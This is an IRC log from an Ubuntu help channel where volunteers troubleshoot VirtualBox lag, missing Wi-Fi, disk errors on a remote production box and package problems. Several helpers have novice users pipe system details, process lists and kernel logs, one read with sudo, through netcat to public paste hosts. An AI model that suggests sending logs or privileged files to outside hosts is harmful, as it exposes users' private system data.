[06:42] <thinky> it is a problem and should be fixed
[06:42] <gbellinoz> So, see if the website / type of video matters.  Also, does it freeze the OS or the application (Opera)?
[06:42] <matjam> go talk to the developers of Opera.
[06:42] <thinky> is there opera channel here?
[06:42] <matjam> no idea.
[06:42] <thinky> just kicked from opera channel invite only
[06:43] <matjam> I'
[06:43] <Two_Dogs> thinky: opera is not opensource
[06:43] <matjam> I'm sure they have a website.
[06:43] <gbellinoz> Someone should totally make a web browser without a web site :)
[06:43] <matjam> thinky:
[06:44] <matjam> http://help.opera.com/opera/Linux/2393/en/
[06:44] <thinky> ok
[06:46] <thinky> it maybe driver or codec problem
[06:56] <Two_Dogs> thinky: run opera from terminal, see if you can tell whats illing it
[06:58] <firezep> maybe I'm not supposed to ask this here, but whats a proper imghosting, if I may ask
[07:00] <Two_Dogs> firezep: there are so many its hard to tell which are 'proper'
[07:01] <firezep> alright makes sense, what would you recommend off personal experience
[07:01] <Two_Dogs> http://susepaste.org/ <-- my preferred one firezep
[07:01] <firezep> thanks, my dawg ;P
[07:01] <Two_Dogs> :) ok
[07:22] <purpleunicorn> Why is Ubuntu lagging on my Mac
[07:23] <Two_Dogs> purpleunicorn: 'why' is difficult to troubleshoot
[07:24] <purpleunicorn> I think I have to shut my computer down it’s literally frozen now
[07:24] <purpleunicorn> Never mind not my computer I meant Ubuntu
[07:25] <Two_Dogs> purpleunicorn:  copy/paste & execute via terminal> journalctl -b --pri=3 ## anything interesting?
[07:25] <purpleunicorn> Ok
[07:26] <purpleunicorn> My laptop is overheating like crazy
[07:26] <purpleunicorn> I can even hear the fan
[07:28] <purpleunicorn> Two_Dogs: I was just typing it in and all of a sudden the screen turned black
[07:28] <Two_Dogs> voodoo
[07:28] <purpleunicorn> lol
[07:29] <purpleunicorn> Should I shut down or power off Two_Dogs
[07:34] <purpleunicorn> https://usercontent.irccloud-cdn.com/file/oYczDrpi/1527406472.JPG
[07:34] <purpleunicorn> This is what I got
[07:34] <purpleunicorn> Two_Dogs:
[07:36] <purpleunicorn> https://usercontent.irccloud-cdn.com/file/RlKmSAAV/1527406561.JPG
[07:36] <Two_Dogs> purpleunicorn: so you dont have to take pics, install 'pastebinit' thus> sudo apt install pastebinit
[07:36] <Two_Dogs> then
[07:36] <purpleunicorn> Ok
[07:37] <RDmon> hello
[07:37] <Two_Dogs> purpleunicorn:  copy/paste & execute via terminal> journalctl -b --pri=3 | pastebinit ## share link/url here
[07:38] <RDmon> I am in the middle of ubuntu 18.04 server edition and I am stuck because it doesn't pick up the luks and lvm partitions
[07:41] <purpleunicorn> What do I do after it says processing triggers for man-db.. Two_Dogs
[07:41] <sinusbot> hola!
[07:41] <sinusbot> hello
[07:41] <Two_Dogs> purpleunicorn:  copy/paste & execute via terminal> journalctl -b --pri=3 | pastebinit ## share link/url here
[07:41] <Two_Dogs> purpleunicorn: do ^^
[07:52] <purpleunicorn> https://pastebin.com/XpJe0Ysq Two_Dogs
[07:53] <purpleunicorn> The only reason I was confused was because you typed paste bin it together so I thought it was separate software SMH
[07:55] <Two_Dogs> purpleunicorn: one word, ubuntu is in virtualbox?
[07:55] <purpleunicorn> Yes
[07:57] <Two_Dogs> purpleunicorn: in that case the whole of the guest session is one big app running, you stressing the host and its impossible to tell from the guest what the cause is, reduce cpu usage, maybe on the host config side of virtualbox,
[07:59] <Two_Dogs> purpleunicorn: you got something beefier to run the virtualbox in?
[08:00] <purpleunicorn> No idk what else to run it in
[08:00] <Two_Dogs> ok
[08:00] <purpleunicorn> Two_Dogs: I’ll try and lower the cpu
[08:00] <Two_Dogs> good idea ^^
[08:01] <Two_Dogs> purpleunicorn: if you have ram to spare add to guest session
[08:02] <Two_Dogs> purpleunicorn: install 'inxi' so> sudo apt install inxi
[08:03] <purpleunicorn> It says the processor is on 1 CPU rn which is lowest obviously. On the motherboard tab the base memory is 6000mb which i don’t think it’s that important but I thought I’d let you know. Two_Dogs
[08:04] <Two_Dogs> purpleunicorn: six gig is more than enough
[08:04] <purpleunicorn> Do I install inxi on Mac or Ubuntu
[08:04] <Two_Dogs> you can lower that to 40000
[08:04] <Two_Dogs> purpleunicorn: any command i ask for in on linux/ubuntu
[08:04] <purpleunicorn> You mean 4000
[08:05] <Two_Dogs> yes, 4k
[08:05] <purpleunicorn> Okay
[08:05] <Two_Dogs> purpleunicorn: you will have to check temps via some app on the mac
[08:06] <PeterPan_mos> .
[08:06] <purpleunicorn> Yeah I have that app already. I’ll check in a few
[08:07] <Two_Dogs> purpleunicorn i am in a virt also and sensors command shows a bork as it should, no sensors in a virt Error: Cannot gist empty files
[08:07] <Two_Dogs> no sensors found oops
[08:08] <purpleunicorn> What do I do now Two_Dogs
[08:08] <Two_Dogs> purpleunicorn: what are you wanting to achieve?
[08:09] <purpleunicorn> I want it to not be so laggy.
[08:09] <Two_Dogs> purpleunicorn: you installed inxi?
[08:09] <purpleunicorn> Yes
[08:10] <Two_Dogs> purpleunicorn:  copy/paste & execute via terminal> inxi -Fxztcm10 -c0 | pastebinit
[08:12] <Two_Dogs> purpleunicorn: share link
[08:13] <purpleunicorn> Two_Dogs: ok
[08:16] <purpleunicorn> https://pastebin.com/YhCSJCWB Two_Dogs
[08:17] <Two_Dogs> purpleunicorn: link is borked
[08:18] <Two_Dogs> purpleunicorn: copy/paste & execute via terminal> inxi -Fxztcm10 -c0 | nc termbin.com 9999 ## share link output here
[08:18] <Two_Dogs> pastebin must hate something in the paste
[08:19] <purpleunicorn> >.>
[08:19] <purpleunicorn> Okay
[08:21] <purpleunicorn> Is 9999 the port?
[08:22] <Two_Dogs> purpleunicorn: yes, everything up to ## is command line
[08:24] <Two_Dogs> purpleunicorn: i prefer gist but gist requires an account at github
[08:24] <purpleunicorn> It says to use termbin hou need to use netcat and type in nc in terminal. I typed in nc but how do I use termbin on terminal
[08:24] <purpleunicorn> I have a github account
[08:25] <yuken_> ok, so, I have a GPU that supports amdgpu on 18.04. How the hell do I actually use it?
[08:25] <yuken_> right now it's running radeon.
[08:25] <yuken_> VGA: Advanced Micro Devices, Inc. [AMD/ATI] Hawaii PRO [Radeon R9 290/390] @ Intel Corporation 4th Gen Core Processor DRAM Controller
[08:26] <Two_Dogs> purpleunicorn: everything from > to ## is command line, all one command
[08:27] <purpleunicorn> Okay Two_Dogs
[08:28] <purpleunicorn> I still have no clue how to use termbin... Two_Dogs
[08:28] <purpleunicorn> I’m going to try gist
[08:29] <Two_Dogs> via terminal> inxi -Fxztcm10 -c0 | nc termbin.com 9999 <-- its all one long line command purpleunicorn
[08:29] <purpleunicorn> Ugh omg okay...sorry I’m slow Two_Dogs
[08:31] <purpleunicorn> http://termbin.com/dv1v
[08:31] <purpleunicorn> Two_Dogs:
[08:31] <Two_Dogs> purpleunicorn: cool :)
[08:32] <Two_Dogs> one sec
[08:32] <purpleunicorn> Ok
[08:34] <purpleunicorn> Would I be able to use this command for every issue I have in terminal instead of going on pastebin
[08:34] <purpleunicorn> Paste bin*
[08:34] <Two_Dogs> purpleunicorn: yeap
[08:34] <purpleunicorn> Two_Dogs: nice
[08:36] <Two_Dogs> gist even better since you get a record of it, install 'gist' via 'sudo gem install gist' , you may need to install gems first,  i forget
[08:36] <purpleunicorn> Ok
[08:37] <Two_Dogs> purpleunicorn: i am plinking on gnome-shell for first time myself on virtualbox and i notice you got two instances of gnome-shell, is that normal?
[08:37] <manjaroDeepin> Is their any solution to use arrow keys in grub. So for no solution has been provided.
[08:37] <purpleunicorn> Yup I need gem first Two_Dogs
[08:37] <purpleunicorn> I have no idea Two_Dogs
[08:38] <purpleunicorn> If you really want to know, ask Joe on ##uk
[08:38] <purpleunicorn> He helped me download Ubuntu
[08:38] <purpleunicorn> On virtual box
[08:39] <Two_Dogs> this is #ubuntu purpleunicorn , someone here must know :)
[08:40] <purpleunicorn> True Two_Dogs ignore what I said lol
[08:40] <Two_Dogs> to use gist you need to login via> gist --login
[08:40] <Two_Dogs> purpleunicorn: ^^
[08:42] <FManTropyx> should I wait for the first point or throw in 18.04 now? is there a date for .1?
[08:42] <Two_Dogs> purpleunicorn: reboot the guest session, return, you can check for yourself after, 'inxi -tcm20' and looking for one instance of gnome-shell , not two
[08:43] <cfhowlett> FManTropyx, your box, your choice.  personally, LTS only and only at .1
[08:43] <cfhowlett> YMMV
[08:43] <purpleunicorn> Okay Two_Dogs
[08:45] <FManTropyx> right, I could give 18.04 a test run in a VM and put it in production when .1
[08:45] <Two_Dogs> purpleunicorn i ran the same command and only found one instance https://git.io/vhqpv
[08:45] <cfhowlett> sane plan!
[08:45] <FManTropyx> thanks :)
[08:46] <purpleunicorn> Okay Two_Dogs
[08:46] <purpleunicorn> Hold on
[08:49] <purpleunicorn> I found it 4 times after typing that command Two_Dogs
[08:49] <purpleunicorn> I’ll send you the link
[08:49] <Two_Dogs> purpleunicorn: since reboot?
[08:50] <purpleunicorn> Yes. I powered off Ubuntu and turned it back on
[08:50] <Two_Dogs> someone here may be able to explain, i cant
[08:50] <Two_Dogs> purpleunicorn: gist works now?
[08:50] <purpleunicorn> Explain what?
[08:51] <purpleunicorn> I’m not sure
[08:51] <Two_Dogs> explain more than one occurrence of 'gnome-shell'
[08:51] <Two_Dogs> purpleunicorn: did you 'gist --login'?
[08:52] <purpleunicorn> No
[08:52] <purpleunicorn> I have to download gem
[08:52] <purpleunicorn> I didn’t do that
[08:52] <Two_Dogs> ok, first things first
[08:52] <purpleunicorn> Two_Dogs: here’s the link http://termbin.com/j372
[08:53] <Two_Dogs> purpleunicorn: copy/paste & execute via terminal> pstree -nsupa | nc termbin.com 9999 ## share link output here
[08:53] <purpleunicorn> Oh ok
[08:54] <Two_Dogs> i dont know how to reproduce more than one process of gnome-shell
[08:54] <Two_Dogs> then again i am clueless to gnome
[08:55] <purpleunicorn> http://termbin.com/ssck
[08:55] <purpleunicorn> I have no clue why it’s doing that either Two_Dogs
[08:59] <Two_Dogs> lets compare, shall we?
[08:59] <purpleunicorn> Okay Two_Dogs
[09:00] <Two_Dogs> purpleunicorn mine exact same command, https://git.io/vhqp0
[09:01] <Two_Dogs> its a mystery
[09:02] <Two_Dogs> who is the gnome-shell guru here who can give a hand with issue?
[09:03] <purpleunicorn> Let me download gist and maybe it’ll help you to see what I’m doing
[09:03] <Two_Dogs> purpleunicorn: you start ubuntu and login or autologin?
[09:03] <purpleunicorn> I login Two_Dogs
[09:09] <purpleunicorn> Two_Dogs: how do I download gist on GitHub
[09:11] <Two_Dogs> purpleunicorn: explain, gist is process executed on terminal, creates a 'gist-url'
[09:11] <purpleunicorn> Oh ok Two_Dogs
[09:12] <Two_Dogs> purpleunicorn: for instance> cat /etc/default/grub | gist <-- creates a gist of the file
[09:13] <Two_Dogs> or simpler> gist /some/file
[09:15] <Two_Dogs> purpleunicorn: at this rate you may want to ask joe on ##uk about the dups
[09:15] <probook> hello
[09:16] <probook> i was registered but i dont know how can i login with my nick name here ?
[09:16] <purpleunicorn> Two_Dogs: okay. Wait what’s dups?
[09:16] <purpleunicorn> Go to ##freenode probook
[09:16] <Two_Dogs> purpleunicorn: the multiple 'gnome-shell' processes
[09:17] <purpleunicorn> Correction: #freenode probook
[09:17] <purpleunicorn> Okay Two_Dogs
[09:17] <Two_Dogs> #probook <-- ?
[09:17] <purpleunicorn> I don’t think he’s here but I will try
[09:18] <purpleunicorn> There*
[09:18] <Two_Dogs> no one is in the house presently here
[09:18] <purpleunicorn> Lol I know
[09:20] <purpleunicorn> Thanks for trying to help Two_Dogs
[09:20] <Two_Dogs> purpleunicorn: it was fun
[09:21] <Two_Dogs> purpleunicorn: can you spare one more cpu for the guest?
[09:23] <purpleunicorn> No I can’t. It’s already on the lowest cpu. It’s on 1
[09:23] <Two_Dogs> yes, on lowest, and you have how many on host?
[09:31] <purpleunicorn> Umm let me see
[09:31] <erasmus> Umm let me see
[09:32] <avenger> See, let me... ummm
[09:32] <purpleunicorn> It goes up to 8 CPU’s Two_Dogs
[09:33] <Two_Dogs> purpleunicorn: for the love of god, allow guest to have two
[09:33] <purpleunicorn> Haha okay
[09:33] <Two_Dogs> that should help some
[09:33] <avenger> you get 1/2 of a processor and you'll like it
[09:33] <purpleunicorn> You never said that
[09:54] <dan01> I've logged in to google via Gnome, and the problem I have is that whenever I mount that google share, and open a file, it works, but it hase a strange cryptic name. Almost like it's a strage filesystem. Do you guys ecounter that? I'm talking about syncing google drive files
[09:54] <dan01> If I copy the files to my local system it's all fine. It's only if I open them directly in the mount that this happens
[09:59] <purpleunicorn> dan01: I don’t have that issue because I haven’t use gnome with google
[09:59] <purpleunicorn> Sorry
[09:59] <purpleunicorn> I’m not much help really
[10:15] <dan01> the hack with that moved to dropbox. seems like the only service with native support for linux
[10:36] <Hanumaan> I use mendeleydesktop tool, it is consistantly concuming CPU to 100% how to stop this or only medeleydesktop can rectify this?
[10:51] <backbox> hi
[10:51] <webmind> lo
[10:51] <backbox> vlc is not installing in my backbox
[10:51] <cfhowlett> !backbox | backbox
[10:51] <backbox> so what should i do
[10:51] <backbox> okay
[10:52] <backbox> thanks for your help
[10:52] <cfhowlett> bestofluck
[10:52] <backbox> XD
[10:59] <ducasse> Hanumaan: you would need to talk to them about that, it's their software to support
[11:03] <JFox762> im having trouble connecting to my Wired LAN
[11:05] <JFox762> brb
[11:05] <Deathmist> Hey! I don't know if this is the right place, but I found a bug on the official Ubuntu Server 18.04 LTS installer: No partitions will show during manual partitioning, only "Add First Partition" despite the 16.04.4 LTS installer showing all of my partitions on the disk.
[11:05] <cfhowlett> !bug | Deathmist you can report it thusly
[11:09] <JFox762> back, just wanted to check bios Settings... I can't connect to LAN... tried different wires and everything
[11:09] <z3r0> hello
[11:09] <JFox762> cables*
[11:09] <JFox762> Im currently using the Ethernet cable that my desktop PC uses
[11:09] <JFox762> and it is a known good ethernet cable
[11:10] <JFox762> i can only connect via wifi... Ethernet shows "unplugged" in settings
[11:13] <JFox762> hellow?!?!
[11:13] <cfhowlett> !patience | JFox762
[11:13] <JFox762> ahh i think it is hardware
[11:16] <Sveta> JFox762: are you able to ping the router's ip?
[11:17] <Two_Dogs> JFox762:  copy/paste & execute via terminal> journalctl --dmesg --pri=3 ## see any hint to broke ethernet?
[11:18] <z3r0> clear
[11:26] <enyc> Hrrm
[11:26] <enyc> Is there a problem with  packages.ubuntu.com  ??  I'm missing trusty-* and xenial-*  supported distros in all answers?
[11:34] <geirha> yeah, https://packages.ubuntu.com/search?keywords=bash&searchon=names&suite=all&section=all should've listed hits in all supported distros, but is limited to artful, bionic and cosmic
[11:36] <geirha> s/distros/releases/
[11:44] <ioria> geirha, i think it'is a server issue
[11:44] <ioria> geirha, https://packages.ubuntu.com/trusty/0ad-dbg
[11:48] <tee_> my doods i seem to be completely unable to run teamspeak on the new ubuntu 18   ./executable seems to think its trying to look for a directory, and bash ./executable gets cannot execute binary, even though its chmod +x ?
[11:53] <tee_> uhhh
[11:53] <user01> hi how can I find out how far along support is for raw images from a camera i went to buy in linux?
[11:54] <tee_> user01: look at the drivers the camera uses and see if ubuntu has them
[11:54] <user01> tee_, where do i find the drivers for nikon d500?
[11:55] <user01> its been out 2 years now
[11:55] <tee_> user01: oh, thats an actual camera camera, that should be fine to just plug in and turn on via usb, it'll attach its self as a media drive and you can pull the files off of that
[11:55] <user01> tee_, if jpeg, but i want raw image support
[11:56] <user01> so i can edit raws is ufraw etc
[11:56] <tee_> user01: that will depend on what the file type is, ubuntu has some available tools to read a variety of raw image file formats though
[11:56] <tee_> what's the file exstension?
[11:57] <talx> hello guys
[11:58] <B1ack0p> how can i add icons on desktop? (ubuntu 18.04)
[11:58] <B1ack0p> and enable new file on right click menu?
[11:58] <talx> I have Ubuntu 14.04.05 which reboots it self like every day or two
[11:58] <user01> tee_, im downloading some d500 raw files from a website now
[11:58] <talx> unknown reason - nothing shows on /var/log/messages
[11:58] <user01> tee_, https://cdn.static-bl.com/static/D500-Samples.zip
[12:00] <tee_> splendid, now if anyone could help me out with why Teamspeak3 won't launch in Ubuntu18 due to ./execucutable looks for a directory instead of running the .sh file, and bash ./exec saying cannot execute binary file, that'd be great
[12:00] <ioria> B1ack0p, open Gnome-Tweaks and, under the Desktop tab, check the "Show Icons" setting
[12:01] <user01> tee_, i know my current really old camera is supported for raw and i do all image manipulation in gnu/linux id hate to have to stop that just because i upgrade my camera :P
[12:02] <tomreyn> geirha: I just filed bug #1773646
[12:02] <user01> tee_, this is a huge file . . . one thing i don't like is camera manufacturers think they have to add more and more megapixels . . . i dont think there is much of a need to go much beyonf 18MP at the most
[12:03] <talx> anyone is up for helping ?
[12:03] <B1ack0p> ioria: it is already enabled in gnome tweak tool but i cant add new icons on desktop
[12:04] <user01> i mean for godsake 4k ultra is something like around 10MP
[12:04] <ioria> B1ack0p, cp a file in /Desktop
[12:04] <ioria> ~/Desktop
[12:05] <B1ack0p> i was aple to put in 16.04 but not anymore :S
[12:05] <B1ack0p> able*
[12:05] <talx> I have Ubuntu 14.04.05 which reboots it self like every day or two
[12:05] <ioria> B1ack0p, what happens when you copy a file in ~/Desktop ?
[12:06] <talx> can't find anything on /var/log/messages tho
[12:06] <blackflow> talx: is there a trace of regular shutdown in the logs?
[12:06] <B1ack0p> ioria: just it doesnt put on desktop
[12:06] <B1ack0p> no icon
[12:06] <blackflow> talx: if not, I'd suspect hardware issues.
[12:06] <B1ack0p> it drags on mouse but doesnt put
[12:08] <ioria> B1ack0p, please, check again  Gnome-Tweaks -> Desktop tab ->  "Show Icons"
[12:10] <user01> tee_, im not sure you can go by "file extension" as it is probably proprietary . . . i bet it has like "nef" extension but a new version . . .if this thing ever finishes downloading  . . .
[12:14] <talx> blackflow
[12:14] <talx> no I havent seen any
[12:14] <BluesKaj> Howdy all
[12:14] <blackflow> talx: then it's likely some hardware issue
[12:14] <talx> blackflow: I thought so as well but the team I'm helping with this
[12:15] <talx> says the hardware is fine
[12:15] <blackflow> talx: could be something as simple as the sata cables needing reseating
[12:15] <z3r0_> hello
[12:15] <talx> yea prolly
[12:15] <talx> the box is 1000+ miles away from me
[12:16] <talx> so
[12:16] <talx> :p
[12:16] <talx> can't go check
[12:16] <blackflow> talx: you could set up syslog forwarding and make sure kernel.* are as verbose as possible, and forward that to another machine. that way, in case it's disk issue, you'll get stuff logged elsewhere.
[12:16] <talx> is there a way to get a list of all the services that requests for the unit shutdown.target?
[12:16] <blackflow> talx: kern.*
[12:16] <BluesKaj> yeagh, sata cable connectors on the mobo are poorly designed , after a few months I have one that loosens and disconnects
[12:17] <blackflow> talx: but the "team" could go check? :)
[12:17] <talx> heh
[12:17] <BluesKaj> it disconnects the signal, but it ap[pears to be connected
[12:17] <talx> maybe
[12:18] <blackflow> or whatever remote hands there are. have them reseat the cables, but also set up syslog forwarding so you can see what happens the next time it happens.
[12:18] <blackflow> could also be something like faulty power management outside the server, so it's hard power loss.
[12:19] <talx> yea but I'm just going to check from the software pov
[12:19] <asyary> hi
[12:20] <blackflow> talx: maybe also run memtest? could be faulty part of a memory chip, and when it's hit, boom headshot.
[12:20] <blackflow> talx: but then, the team probably did that already, if they ruled out HW?
[12:21] <tomreyn> ioria: i just filed bug #1773648 about 0ad-dbg on packages.U.C
[12:22] <ioria> tomreyn, yeah
[12:29] <talx> yea maybe
[12:29] <talx> idk I'm just exploring
[12:35] <talx> blackflow
[12:35] <talx> I use who -b to see the reboot time but when I check it with journalctl --since <date> --until <date>
[12:35] <talx> its empty
[12:36] <talx> ;[
[12:38] <blackflow> talx: first of all I thought oyu said this was 14.04 (trusty)? no systemd there
[12:38] <blackflow> talx: second, by default journald is configured for logging in ram only. need to set up persistent logging, or check /var/log/syslog.
[12:41] <talx> hmm
[12:41] <talx> it does have systemd
[12:41] <talx> cat /etc/issue says 14.4
[12:41] <talx> 14.04.5
[12:42] <kiriuha> mama
[12:42] <kiriuha> hello
[12:42] <kiriuha> fads
[12:43] <kiriuha> > ubuntu
[12:43] <kiriuha> > tor connecting start linux
[12:43] <blackflow> talx: oh, hum, you're right, iirc there _is_ systemd on trusty, but it's not default. is your server configured for systemd init?
[12:45] <ioria> talx, ps -A | head -2   what it says ?
[12:46] <talx> init
[12:46] <talx> :p
[12:46] <Battle> hey all, im trying to install mono, and it keeps telling me i have missing dependencies... ive added the repo from the mono website and apt-update but still missing?
[12:46] <ioria> so ..
[12:46] <kiriuha> so ..
[12:46] <kiriuha> mmmm...
[12:46] <blackflow> talx: yah so journald won't be running and logging.
[12:47] <talx> I see
[12:47] <blackflow> talx: really, set up remote logging and see if anything gets through the next time it reboots.
[12:47] <talx> but when I use it
[12:47] <talx> it gives output
[12:47] <talx> how would I do it
[12:47] <talx> its not in my network
[12:48] <talx> ;[
[12:48] <blackflow> talx: google for "rsyslog remote"
[12:48] <Battle> here's the outpt when i run apt-get install mono-complete https://pastebin.com/0ayFBbVS
[12:48] <blackflow> also consider using syslog-ng as that can log over TLS, if you don't trust the network.
[12:54] <talx> hmmm
[12:56] <talx> kernel: [497017.883739] end_request: I/O error, dev dm-27, sector 0
[12:56] <talx> does it looks like something that cuase it ?
[13:01] <blackflow> talx: yeah that looks like disk trouble. have smartmontools installed? see if s.m.a.r.t data from the disk indicate an issue
[13:01] <talx> what do you mean
[13:02] <talx> I'm not familiar with that
[13:03] <talx> can it be run via the command line ?
[13:04] <blackflow> talx: smartctl -a /dev/...  , the tool is in smartmontools package, will show disk SMART data, which could indicate trouble. look at attributed marked critical here:  https://en.wikipedia.org/wiki/S.M.A.R.T.#Known_ATA_S.M.A.R.T._attributes
[13:04] <talx> it wont make any changes to the system right ?
[13:04] <blackflow> *attributes.    note that absence of indicated error does NOT mean there's no error.
[13:04] <talx> its a prod env
[13:05] <blackflow> talx: well, it _will_ install smartd, the smart monitoring daemon. but eh... if you have to ask these questions, perhaps you should not be touching prod environments AT ALL.
[13:06] <EriC^> blackflow: it doesn't install a smart daemon, what do you mean by smartd?
[13:07] <EriC^> blackflow: oh nevermind
[13:08] <talx> was talking about using it
[13:08] <EriC^> never noticed smartd running
[13:08] <talx> anyway I can't install with apt-get I see
[13:08] <talx> blackflow: just reading logs basicly
[13:09] <blackflow> talx: so there's nothing you can really do about it. perhaps leave that to whoever has the sysadmin rights there and knows what to do ;)
[13:11] <blackflow> EriC^: see that's why I hate debian based distros autostarting daemons on install.
[13:13] <pushpak> hi guys, I want to know how to turn off touchpad/trackpad while typing in ubuntu
[13:20] <talx> hmmm
[13:21] <talx> lol blackflow
[13:21] <talx> I can't change anything but I think I found the disk fails
[13:22] <jxcodemonkey> pushpak: try something like this https://pastebin.com/yuah6KWs
[13:23] <talx> thanks blackflow although you got a little bit moody in the last minutes lol
[13:24] <zhidan> hi
[13:25] <blackflow> talx: I'd hate to break your prod.
[13:27] <talx> yea
[13:27] <talx> I'm just sending the logs via mail
[13:27] <talx> since they couldn't point the finger on whats wrong
[13:28] <talx> I get many I/O errors with dev dm-27
[13:30] <camil_toughbook> hello :)
[13:30] <camil_toughbook> just want to say hi and test
[13:44] <scooterd_> help  guy have no wifi in settingscan only connect with wired
[13:45] <talx> service network-manager restart
[13:46] <EriC^^> scooterd_: what does 'lshw -c network' give? use a pastebin
[13:46] <scooterd_> talx net work manager not work
[13:47] <RDmon> what is wrong? I can't ssh to my server from outside. I even didi Allow user in sshd file. (ubuntu 18.04)
[13:47] <RDmon> could you give me some ideas?
[13:47] <EriC^^> RDmon: pastebin the output of ssh -vvv user@host
[13:48] <scooterd_> eric u want a url ??
[13:48] <EriC^^> scooterd_: yesh
[13:48] <RDmon> EriC^^: any idea on how to do that I am on windows using putty
[13:48] <andrex> scooterd_: pastebinit /etc/network/interfaces
[13:49] <RDmon> and connect to my server via vm sphire ATM
[13:49] <scooterd_> eric it does not give me a url
[13:49] <EriC^^> scooterd_: type "sudo lshw -c network | nc termview.me 9999"
[13:50] <transhuman> so whats with the changes to the host file, looks like in ubuntu 18.04 its a virtual file which you can no longer edit and have changes update immediately?
[13:50] <scooterd_> eric only been here few times how do i show if no url
[13:51] <scooterd_> eric it shows i should run program as super user ??
[13:51] <EriC^^> did you type sudo?
[13:52] <scooterd_> eris yes
[13:52] <EriC^^> it should give a link back termview.me/xxx
[13:52] <scooterd_> eric tes
[13:52] <EriC^^> give it here
[13:53] <scooterd_> description: Ethernet interface        product: AR8152 v2.0 Fast Ethernet        vendor: Qualcomm Atheros        physical id: 0        bus info: pci@0000:02:00.0        logical name: enp2s0        version: c1        serial: e8:9a:8f:ec:2b:fc        size: 100Mbit/s        capacity: 100Mbit/s        width: 64 bits        clock: 33MHz        capabilities: pm msi pciexpress vpd bus_master cap_list ethernet physical tp 10bt 10bt-fd 10
[13:53] <EriC^^> scooterd_: give the link here not the paste
[13:54] <scooterd_> eric sorry but there is no url when i put the command in
[13:59] <scooterd_> eric sorry here http://termview.me/ui6w
[13:59] <andrex> scooterd_: you time/date is correct? what ping -c 3 google.com shows
[14:00] <andrex> oh
[14:00] <scooterd_> andrex yes time date good
[14:03] <codingCookie> hello, where does ubuntu save its network connections?
[14:03] <EriC^^> scooterd_: does 'lspci | grep -i wireless' give anything?
[14:04] <scooterd_> eric no
[14:04] <EriC^^> codingCookie: /etc/NetworkManager/system-connections
[14:05] <EriC^^> scooterd_: what about 'lspci | grep Network' ?
[14:05] <EriC^^> anything about the wireless?
[14:06] <scooterd_> Eric no
[14:06] <EriC^^> scooterd_: type 'dmesg | nc termview.me 9999' and give the link
[14:06] <codingCookie> EriC^^: there is no networkmanager directory, im using 17.01
[14:06] <EriC^^> codingCookie: are you sure? it's case sensitive
[14:07] <scooterd_> Eric http://termview.me/4jlg
[14:08] <codingCookie> EriC^^: sorry, thanks
[14:09] <EriC^^> scooterd_: try 'rfkill list' anything about wifi listed?
[14:09] <EriC^^> codingCookie: np
[14:10] <scooterd_> Eric nothing this is weird cause i just shut down putter and this happen
[14:10] <EriC^^> scooterd_: is it a laptop?
[14:10] <scooterd_> Eric last week it happen
[14:10] <scooterd_> Eric yes
[14:11] <EriC^^> scooterd_: try to turn it off, remove battery, press power button for 10secs then put it back together
[14:11] <EriC^^> see if anything in the bios is listed about the wifi too scooterd_
[14:11] <scooterd_> Eric ok
[14:12] <scooterd_> eric i'll be back
[14:12] <EriC^^> asta la vista
[14:13] <HackerII> el oh el
[14:14] <codingCookie> EriC^^: how about the network connections i did like http,tcp stuff. i want to build a bandwith monitor, i was interested in, if there are is  data stored on the computer
[14:17] <scooterd> Eric still nothing
[14:17] <EriC^^> codingCookie: maybe 'nethogs' might help
[14:17] <moffa> Anyone having networking issues with KVM/Qemu's bridge in the past two days?
[14:17] <EriC^^> scooterd: anything in the bios about wifi?
[14:18] <scooterd> Eric even in menu there is no menu for wifi
[14:18] <scooterd> Eric no all blocks came back clean
[14:20] <scooterd> Eric is it possible that card is dead ??
[14:20] <EriC^^> scooterd: dunno, maybe
[14:21] <EriC^^> do you know what kind it is? realtek broadcom etc?
[14:21] <strangeqargo> I had a card wich had no support for 14/16. I thought it was dead. Problem was those guys who assembled a computer put it either in a dead slot or put it wrong. Reattached and voila. Tho you have a laptop, so..
[14:21] <strangeqargo> windows livecd for testing maybe
[14:22] <scooterd> yea its wierd that by shutting putter doen and restart this happened
[14:22] <ioria> what is putter ?
[14:23] <scooterd> computer
[14:23] <scooterd> Eric i have no idea what kind
[14:24] <Battle> hello, I could really use some help guys. i'm running ubuntu 16.04 and trying to install latest mono from their website, after adding repo, updating e.t.c the output i get is https://pastebin.com/0ayFBbVS
[14:24] <EriC^^> scooterd: can you upload 'sudo cat /var/log/kern.log | nc termview.me 9999'
[14:26] <moffa> @Battle did you add the repo here: https://www.mono-project.com/download/stable/#download-lin
[14:29] <Battle> yeah
[14:29] <Battle> I did
[14:29] <Battle> I followed all the commands there for Ubuntu 16.04
[14:30] <scooterd> eric http://termview.me/xdha
[14:30] <Battle> and no errors from any of them
[14:34] <EriC^^> scooterd: maybe try a live usb to rule out an OS problem?
[14:35] <Battle> @moffa any other ideas? :(
[14:35] <moffa> @Battle and you did a sudo apt update
[14:35] <scooterd> Eric dont have one
[14:35] <Battle> yeah
[14:35] <Battle> @moffa, yeah i did
[14:35] <EriC^^> scooterd: make one?
[14:35] <Battle> @moffa, it did a bunch of stuff as one would expect, no errors again
[14:35] <scooterd> eric how  ??
[14:35] <EriC^^> !liveusb | scooterd
[14:36] <moffa> @Battle if you want the nightly or newer than stable, you need to change stable-xenial to alpha-xenial beta-xenial nightly-xenial preview-xenial or whatever you want to use.
[14:36] <Battle> @moffa i just want the stable version, have i accidently enabled something else?
[14:36] <EriC^^> scooterd: which ubuntu version are you using right now?
[14:37] <scooterd> eric 16.04
[14:37] <tototoro> hi guys! do you maybe know is sensord service normally missing in Ubuntu 18.04? can't find it.
[14:38] <moffa> @Battle can you try a "sudo apt install -f" to see if it can fix stuff
[14:38] <EriC^^> tototoro: it's not installed by default
[14:38] <Battle> @moffa i saw that command on my google searchings and it didnt help :(
[14:38] <EriC^^> scooterd: download the iso http://releases.ubuntu.com/16.04.4/ubuntu-16.04.4-desktop-amd64.iso
[14:39] <tototoro> @Eric^^ i can't find it with apt-cache search neither
[14:39] <tototoro> @EriC^^ i can't find it with apt-cache search neither
[14:39] <EriC^^> !info sensord
[14:39] <EriC^^> tototoro: ^
[14:39] <Battle> erm
[14:40] <moffa> @Battle what about a dpkg --configure -a
[14:40] <Battle> @moffa, i appear to have resolved it.... I googled how to delete repos, to start a fresh....and after deleting the repos, doing apt-get update, and then apt-get install mono-complete expecting to see errors or unkown package e.t.c it offered everything including dependences....
[14:40] <Battle> lemme check the version of mono its installing, it might be old...
[14:41] <tototoro> @EriC^^ i don't know what's info :(
[14:41] <EriC^^> tototoro: no i meant the bot said the package isnt available in bionic (18.04)
[14:41] <moffa> @Battle great :)
